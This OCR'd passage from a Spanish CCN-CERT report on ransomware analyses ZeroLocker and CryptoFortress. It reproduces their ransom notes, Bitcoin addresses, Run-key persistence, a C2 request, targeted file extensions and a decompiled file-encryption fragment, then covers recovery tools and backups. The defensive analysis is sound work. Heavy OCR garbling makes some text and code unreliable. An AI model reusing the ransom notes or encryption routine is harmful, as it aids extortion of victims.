to rescue the files on your computer for you!

BY PURCHASING A LICENSE FROM US, WE ARE ABLE TO RESCUE YOUR FILES 100% GUARANTEED
FOR A VERY LOW EARLY BIRD PRICE OF ONLY $300 USD!™ In & days however. the price of this service
will increase to $600 USD. and after 10 days to $1000 USD.

Payment is accepted in Bitcoin only. You can purchse Bitcoin very easily in your area by bank transfer,
Yestern Union, or even cash.

Visit www.localbitcoins.com to find a seller in your area. You can also google Bitcoin Exchanges to find
other methods for buying Bitcoin.

Please check the current price of Bitcoin and ensure vou are sending the correct amount before making your payrment! Wisit
whnn. bitcoinaverage.com for the current Bitcoin price.

After making your payment, please wait up to 24 hours for us to make your key available. Usually done in much less time however.

IMPORTANT: Once the key is available and you click "Decrypt Files", please wait and let the decryption process complete before closing
this tool. Thiz process can take from 15 minutes to 2+ hours depending on how many files need to be decrypted. You will get a
notification that the decryption procesz it complete, atwhich tirme wou can click "Exit". Removing thiz toal from your cormputer without first
decrypting your files will cause vour files to be lost forever,

DECRYPT

s Y SEND BITCOIN PAYMENT TO THIS ADDRESS: FILES

COIN  [IDEwhinKYZ6UGWS5ShzULn55JGyahwJ5dF

ACCEPTED HERE

EXIT | =
!/ Start I 1 Task Manager F

Figura 436. Instrucciones para la recuperacion de ficheros

Dicho mensaje se mostrard en cada reinicio del sistema como consecuencia de la
entrada de registro HKCU\ Software \ Microsoft\ Windows\ CurrentVersion\Run, la cual apunta
al binario previamente descrito.

Autarun Entry | Drescription | Fublisher | Image Path
ﬁ’ HECUMS oftwaresMicrosoft\\Windows s Curentersion\Run
"1 FileRescue Tazk Manager c:hzerolockerzerorescue. exe

Figura 447. Persistencia

Si se pulsa el botdon “DECRYPT FILES” el binario realizard otra peticion GET enviando la
MAC del equipo en la URL. Sin embargo, la respuesta del servidor siempre serd un 404 (se
haya realizado o no el pago). Ademds, se mostrard una ventana al usuario indicando que el
pago no ha sido recibido y que éste debe realizarse de nuevo.

FET /M=y TR LI
Host: 5.19%9.171.47

Fomnect fon: keep-411ve B X

HTTP /1.1 404 nNot Found

Date: Sun, 02 Wow 2014 16:15:30 GMT

Server: Apache/2.2.15 (Centos)
IContent-Length: 290

Iconnection: close

content-Type: text/html: charset=is0-8859-1

‘four payment has not vet been either received or processed.
Flease make the payment and try again. IF you've already
made a payment, note that it may take up ta 24 haurs

to process your payment and activate your key,

_OK
<! DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<htm]><head:>

<titTe=>404 nNot Foundestitles

</ heads<body>

<hl>Not Found</hl>

<ﬁ>The reguested URL /_/key was not found on this server.</p>
<hr s

<addressrapaches2.2.15 (Centos) Server at 5.199.171.47 Port 80</addresss
</ hody><html >

Figura 458. Respuesta 404

45
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7.8.1 DESINFECCION / RECUPERACION DE FICHEROS

Debido a que el servidor no almacena la clave aleatoria utilizada para cifrar los
ficheros ni es almacenada en el equipo de la victima, la Unica manera de recuperar los
ficheros originales es por medio de fuerza bruta (a menos que se haya registrado la peticion
GET en cierto log HTTP y sea posible recuperar la key). La empresa de seguridad Vinsula
liberé en el mes de Noviembre de 2014 una herramienta gratuita que permite recuperar los
ficheros infectados en un margen de tiempo razonable. Segun se describe en el propio blog
[Ref.-41], la herramienta puede tardar menos de un dia en encontrar la clave de cifrado.

La herramienta se ejecuta desde la linea de comandos y proporciona dos opciones.
Por una lado, con la opcidn -bruteforce se especificard un binario cifrado a partir del cual
tratard de obtener la clave.

Locker.exe —hp

tPue —report:"

Figura 469. Herramienta UnlockZeroLocker

Posteriormente, una vez obtenida la key, mediante la opcidén -decrypt se podrd
proceder a descifrar todos los ficheros afectados. Para ello ejecUtese la herramienta con los
siguientes pardmetros: -decrypt:c:\ -key:[ENTER KEY VALUE]

UnlockZerolLocker requiere tener instalado .NET Framework 4 y debe ser ejecutada con
permisos de administrador.

Es importante destacar que el especimen no elimina los puntos de restauracion del
sistema, por lo que éstos podrian ser una alternativa mds para recuperar una copia de los
ficheros afectados. Consultese el punto 5 para proceder con su recuperacion.

7.9 CRYPTOFORTRESS

Un nuevo fipo de ransomware denominado Cryptofortress fue distribuido masivamente
a partir de Febrero de 2015 mediante dos vias: a través del conocido exploit kit Nuclear
Pack, y utilizando mensajes de spam.

En un primer momento se pensd que se trataba de una réplica del famoso
ransomware Torrentlocker (seccién 7.3), ya que la pdgina con las instrucciones de pago que
se presenta al usuario es idéntica en apariencia:

WARNING
We have encrypted your files with CryptoFortress virus

All your important files (such as files on the network disks, USB devices, etc): photos, videos, documents were
! encrypted with CryptoFortress virus. The only way to get your files back is to buy our decryption software.
Otherwise, your files will be lost.

Caution: Removing of CryptoFortress will not restore access to your encrypted files.

Click here to buy decryption software

Our website should also be accessible from one of these links:
ttp://h63rbx7gl de=39C 848,

Figura 50. Cryptofortress [Ref.-46]

SIN CLASIFICAR



SIN CLASIFICAR
CCN-CERT 1A-21/14 Medidas de seguridad contra Ransomware CN - cerr

centro criptolégico nacional

La cantidad econdmica exigida en este caso asciende a 1 Bitcoin como se muestra
en la siguiente imagen:

CruntoFortress Buy decryption tool  Decrypt file Support

Buy decryption tool and restore your files

Our price for decryption tool: 1.0 BTC
To receive our decrypting tool and decrypt all your files send 1.0 BTC to our address

1G1AMoAgKRzZLGVqD3ysqfYJofpCpoLuKJ

How to buy decryption tool €)hiEcoin

Create Bitcoin wallet

You have to create Bitcoin wallet, read this simple instruction or watch video on YouTube.

Buy bitcoins

Here is the list of recomended sellers of Bitcoin:

howtobuybitcoins.info - List of trusted Bitcoin sellers in your country

dagensia.eu - buy Bitcoin using bank transfer

www. happycoins.com - buy Bitcoin using iDEAL, Sofort, Giropay, SEPA

bitstamp.net - buy Bitcoin via SEPA, wire transfer

www.bitstock.com - buy Bitcoin via bank transfer

cryptonit.net - buy Bitcoin using SEPA, Sofort, Giropay, Paypal, Western Union

www. litebit.eu - buy Bitcoin using SEPA, Sofort, Giropay, Credit Card

localbitcoins.com - buy Bitcoin with Cash, Prepaid Cards, Credit Card, Western Union and more

Send bitcoins to our address
Send 1.0 BTC to our Bitcoin address | 1G1AMoAgKRzZLGVqD3ysqfYJofpCpolukJ

Check payment

Figura 51. Cryptofortress, informacién de pago

A diferencia de Torrentlocker, el cifrado de los ficheros se realiza en el momento de
ejecucién del fichero danino, sin necesidad de establecer comunicacién alguna con el C2.
Se recorrerdn discos duros locales, unidades de red mapeadas y dispositivos conectados al
equipo infectado en busca de los siguientes formatos de fichero:

*.022 *.1cd *.3fr *.3gp *.7z *.2ar *.abk *.accdb *.adf *.ai *.arc *.arj *.arw
*.ashbak *.ashdisk *.avi *.ba? *.backup *.bk? *.bmp *.bup *.cdr *.cdx

* cer *.cf *.cfu *.cr? *.cs? *.da? *.dbf *.dcr *.der *.dic *.divx *.djvu *.dng
*.doc *.doc? *.dt *.dwg *.dx? *.e?f *.efd *.eps *.er? *.fow *.fh * flv * frp
* gh? * gif *.gzip *hbi *.hdb *.htm * html *.ifo *.img *.indd *.iso *.iv2i
*.jpeg *.jpg *.kdc * key *.kwm *.1d? *.m2v *.max *.md *.md? *.mef

* mkv *.mov *.mp4 *.mpeg *.mpg *.mrw *.nba *.ndf *.nef *.nr? *.0d?
*.01? *.one *.orf *.p12 *.p7? *.pb? *.pd? *.pef *.pem *.pfx *.png *.pps

* pps? *.ppt*.ppt? *.psd *.pst*.ptx *.pwm *.qbw *.1?? *.sco *.sef *.sk
*.s12 *.s1f *.stw *.tbk *.tc *.tib *.tif *.tmd *.txt *.v? *.v2?? *.v?2? *.wb2

* wbb *.wim *.wmv *.wpd *.wps *.x3f *.x1? *xIs? *.xml *.z? *.z2??

Figura 52. Extensiones cifradas por Cryptofortress [Ref.-47]

Los ficheros son cifrados utilizando una clave Unica de 256 bits con el algoritmo AES y
empleando el modo ECB (por el contrario Torrentlocker empleaba el modo CBC). La clave
de cifrado es generada automdticamente empleando las APIs criptogrdficas de Windows, y
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serd la misma para cifrar todos los ficheros. Todos los ficheros cifrados reciben una nueva
extension "frirss". Cabe destacar que Unicamente se cifran la primera mitad de los archivos,
hasta 5Mb.

Una vez finalizado el proceso de cifrado, se cifrard dicha clave simétrica con la clave
publica RSA de 1024 bits incluida en la configuracién del ransomware.

if ( j_SetFilePointer(hUbject, DistanceloMoveHigh[®], &DistanceloMoveHigh[1], B) == -
{

if ( j_GetLastError() )

break;

b
if ( *ReadFile(hObject, pbData, nMunberOfByutesToRead, &nNumberOfByte: rite, 8)
|| *CryptEncrypt(file ci y a, &nHumb t ite, B0x1000060u)
|| j_SetFilePointer({hObject, Distanc ve 1, &bistanc Mov [1], 8) == -1 && j_GetLastError()
|| *WiteFile(hObject, pbData, nHumberOfBytesToMWrite, &MNumberOfBytesWritten, @) )
Dreak;
xDpistanceToMoveligh = (*DistanceToMoveHigh + nHumberO0fBytesToRead);
tmp (tmp - 0x106080u);

vif = 1-

28 (l‘l}‘l‘ - 1);
if ( tv20 )

tmp = v9;

it ( (j_SetkilePointer(hUbject, FileSize.s.LowPart, &rileSize.s.HighPart, ¥) ?= -1 || ?j_GetLastirror())
&& WriteFile(nobject, &Lmp, 8u, &NumberOfBylesWritten, 0)
&& WriteFile{hObject, &File_cipher_export_crcd2, 4u, &HumberOfbytesiritten, 6) )

SetFileTime(hObject, &Creationlime, &LastAccesslime, &LastWriteline);
j_CloseHandle{hObject);
return 8;

Figura 53. Cifrado de la clave simétrica usando la clave RSA publica [Ref.-47]

En la siguiente tabla quedan resumidas las principales diferencias entre Torrentlocker y

Cryptofortress:
TorrentLocker CryptoFortress
Propagation Spam Exploit kit
File encryption AES-256 CBC AES-256 ECB
Hardcoded C&C server Yes No
Ransom page location Fetched from C&C server Included in malware

Onion-routed (but same server
as the hardcoded C&C)

AES key encryption RSA-1024 RSA-1024

Payment page location Onion-routed

Cryptographic library LibTomCrypt Microsoft CryptoAP

First 50% of the file, up to 5

Encrypted portion of files 2 Mb at beginning of file Wb

Payment Bitcoin (variable amount) 1.0 Bitcoin

Figura 54. Diferencias entre Torrentlocker y Cryptofortress [Ref.-46]
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7.9.1 DESINFECCION / RECUPERACION DE FICHEROS

Las pautas a seguir para desinfectar este ejemplar son exactamente las mismas que las
descritas para las familias de ransomware anteriormente vistas.

La recuperacion de los ficheros de forma automdtica no es posible, ya que el
algoritmo de cifrado implementado no tiene debilidades que puedan ser explotadas. Dado
que la clave de cifrado empleada es la misma para todos los ficheros del sistema, si
pudiéramos parar el proceso de cifrado a tiempo y volcar un dump de la memoria seria
posible recuperar la clave de cifrado que se estaba siendo usada para cifrar los ficheros.

En el caso de que el cifrado se haya completado, podemos intentar recuperar los
ficheros usando las Shadow Copies, sin embargo Cryptofortress intentard eliminar dichas
copias durante el proceso de cifrado.

8. TABLA RESUMEN

En la siguiente tabla se muestra un pequeno resumen de las posibilidades de
recuperacion de los datos cifrados dependiendo del tipo de ransomware con el que nos
hayamos infectado:

RANSOMWARE POSIBILIDAD DE RECUPERACION DE LOS DATOS

CRYPTOLOCKER Con suerte en www.decryptcryptolocker.com

CRYPTOWALL A partir de backup / Volume Shadow Copies

CRYPTODEFENSE Mediante herramienta de EmiSoft

TORRENTLOCKER Mediante herramienta TorrentUnlocker de BleepingComputer
CRYPTOGRAPHIC LOCKER | Mediante herramientas forenses de recuperacion de ficheros
BAT_CRYPTOR A partir de backup

CTB-LOCKER A partir de backup

ZEROLOCKER Mediante herramienta UnlockZeroLocker de Vinsula
CRYPTOFORTRESS A partir de backup
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